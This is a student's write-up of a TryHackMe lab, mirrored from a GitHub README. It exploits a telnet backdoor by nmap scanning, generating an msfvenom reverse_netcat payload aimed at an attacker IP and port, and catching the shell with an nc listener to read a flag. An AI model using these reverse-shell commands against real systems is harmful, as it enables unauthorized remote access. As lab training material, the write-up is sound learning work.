Coder Social home page Coder Social logo

tryhackme-cda-exploiting-telnet-02's Introduction

Documentation: TryHackMe - Exploiting Telnet #02

1. Introduction

  • Purpose: Document my experience and share knowledge on the Cyber Defense challenges
  • Scope: Learn the fundamental components of detecting and responding to threats in a corporate environment

2. Setup

  • Environment: Kali Linux via VirtualBox
  • Accounts and Access: Created a TryHackMe account and accessed the room via OpenVPN

3. Challenge Walkthrough

3.1 Room Name: Network Services

  • Objective: Access the target's assets by exploiting vulnerable services to access valuable data

3.2 Enumeration

  • Initial Scanning:
    • Tools and Commands:

      • Port Scanning:
        • nmap -A 10.10.177.199
        • Shows that the top 1000 ports are not open image
        • nmap -A -p 8000-9000 10.10.177.199 -vv
          • Scanned ports between 8000-9000 and discovered an open port 8012/tcp image
    • Findings: The open port is 8012 A possible username might be Skidy - Service might be a backdoor

3.3 Exploitation

  • Vulnerability Identification: Telnet vulnerability

    • Techniques Used: Exploit using netcat reverse shell payload in the telnet server
  • Exploitation Process:

  • Enter telnet 10.10.177.199 8012 now you can connect to the telnet server using the discovered port 8012

    • image
  • Enter msfvenom -p cmd/unix/reverse_netcat lhost=10.17.64.194 lport=4444 R to generate a reverse shell payload using msfvenom

    • image
  • Enter nc -lvp 4444 to start netcat lister to listen for inbound connection and see data

    • image
  • Copy the payload into the telnet server CLI and press enter

    • image
  • Go to the netcat lister and enter ls it will show the file flag.txt

    • image
  • Enter cat flag.txt to capture the flag

    • image

4. Analysis and Reflection

  • Challenges Faced: Error with my configuration of kali and openvpn not being able to connect to the server
  • Learnings: I Learned that telnet is unsecured because it has a lot of vulnerabilities when I checked CVE
  • Improvements: Familiarize with the commands

5. Conclusion

  • Summary: Successfully gained access to the telnet server by exploiting its vulnerability and using reverse shell payload to capture the flag

6. References

tryhackme-cda-exploiting-telnet-02's People

Contributors

abelmorad avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.